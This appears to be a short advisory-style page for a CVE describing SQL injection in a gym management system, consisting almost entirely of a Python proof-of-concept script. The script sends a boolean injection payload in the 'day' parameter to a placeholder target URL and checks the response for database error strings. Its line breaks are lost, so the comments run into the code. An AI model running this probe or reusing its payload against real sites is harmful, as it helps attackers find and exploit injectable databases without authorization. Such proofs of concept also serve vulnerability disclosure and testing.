CVE-2026-7716 Gym Management System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/index.php" # SQL Injection Payload for the 'day' parameter # This payload attempts to cause a database error or bypass logic payload = "1' AND 1=1-- -" # Parameters to be sent params = { "day": payload } try: # Sending GET request response = requests.get(target_url, params=params, timeout=5) # Analyzing response if response.status_code == 200: print("Request sent successfully.") # Check for common SQL error patterns in response if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not confirmed via simple error check.") else: print(f"Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")